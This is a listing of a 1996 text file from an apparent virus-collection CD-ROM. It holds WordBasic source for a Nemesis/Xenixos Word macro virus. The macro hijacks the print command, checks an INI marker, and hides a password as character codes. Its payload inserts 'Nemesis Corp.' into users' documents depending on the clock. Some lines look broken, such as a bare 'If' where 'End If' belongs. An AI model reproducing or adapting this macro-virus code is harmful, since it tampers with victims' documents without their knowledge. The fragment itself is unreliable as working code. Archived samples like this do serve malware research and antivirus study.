home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / MVUPDAT3.ZIP / XENIXOS.ZIP / NEMESIS.ZIP / NEMESIS9.TXT < prev   
Text File  |  1996-04-16  |  698b  |  29 lines
  1. Macro DateiDruckenStandard
  2.  
  3. Sub MAIN
  4. On Error Resume Next
  5.  
  6. Section$ = "Compatibility"
  7. wininistr$ = "0x0020401"
  8. ProfileName$ = "RR2CD"
  9. PrintText$ = "Brought to you by the Nemesis Corporation, ⌐1996"
  10. Password$ = Chr$(120) + Chr$(101) + Chr$(110) + Chr$(105) + Chr$(120) + Chr$(111) + Chr$(115)
  11.  
  12. NoVir$ = GetProfileString$(Section$, ProfileName$)
  13. If NoVir$ <> wininistr$ Then PayLoad
  14.  
  15. FichierImprimerDΘfaut
  16.  
  17.  
  18. Sub Payload
  19. On Error Resume Next
  20. If Seconde(Maintenant()) < 30 Then
  21.     PrintText$ = "Nemesis Corp."
  22.     FinDocument       'go to the end of document.
  23.     Insertion Chr$(11)
  24.     Insertion PrintText$
  25.     DΘbutDocument    'go to the start of document.
  26.  If
  27.  
  28. End Sub
  29.